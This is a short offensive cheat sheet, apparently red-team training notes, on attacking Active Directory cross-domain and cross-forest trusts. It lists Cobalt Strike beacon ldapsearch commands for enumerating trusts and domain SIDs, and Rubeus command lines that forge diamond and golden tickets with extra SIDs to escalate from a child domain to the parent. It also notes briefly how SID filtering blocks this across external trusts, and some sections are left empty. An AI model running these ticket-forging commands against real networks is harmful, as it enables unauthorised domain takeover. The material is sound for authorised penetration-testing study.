Cross Forest Attacks

Trust Account

beacon> ldapsearch (samAccountType=805306370) --attributes samAccountName
0 is TRUST_DIRECTION_DISABLED.
1 is TRUST_DIRECTION_INBOUND.
2 is TRUST_DIRECTION_OUTBOUND.
3 is TRUST_DIRECTION_BIDIRECTIONAL.

Parent/Child Trusts

# Find trusted domain
beacon> ldapsearch (objectClass=trustedDomain)

# Get other domain's SID
beacon> ldapsearch (objectClass=domain) --attributes objectSid --hostname $PARENT_DC --dn DC=$DOMAIN,DC=com

# Create Diamond ticket and pwn it (OPSEC Safe IMO)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /sids:S-1-5-21-3926355307-1661546229-813047887-512 /krbkey: /nowrap

# Create golden ticket with EXTRA SIDS and pwn it

# /aes256 is the AES hash of the child domain's krbtgt account.
# /user is the user you want to impersonate.
# /domain is the child domain.
# /sid is the SID of the child domain.
# /sids is a list of SIDs you want in the ticket's SID history.
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256: /user:Administrator /domain: /sid: sids:S-1-5-21-3926355307-1661546229-813047887-519 /nowrap

One-Way Inbound Trusts

  • Golden tickets with SID history do not work in these cases because external trusts employ something called SID filtering. The trusting domain will therefore ignore any SIDs that are not native to itself.

The container contains 4 default values that we're not really interested in: S-1-5-4, S-1-5-9, S-1-5-11, and S-1-5-17. Anything other than these values are of interest to us.

  • Forging referral ticket

One-Way Outbound Trusts

Last updated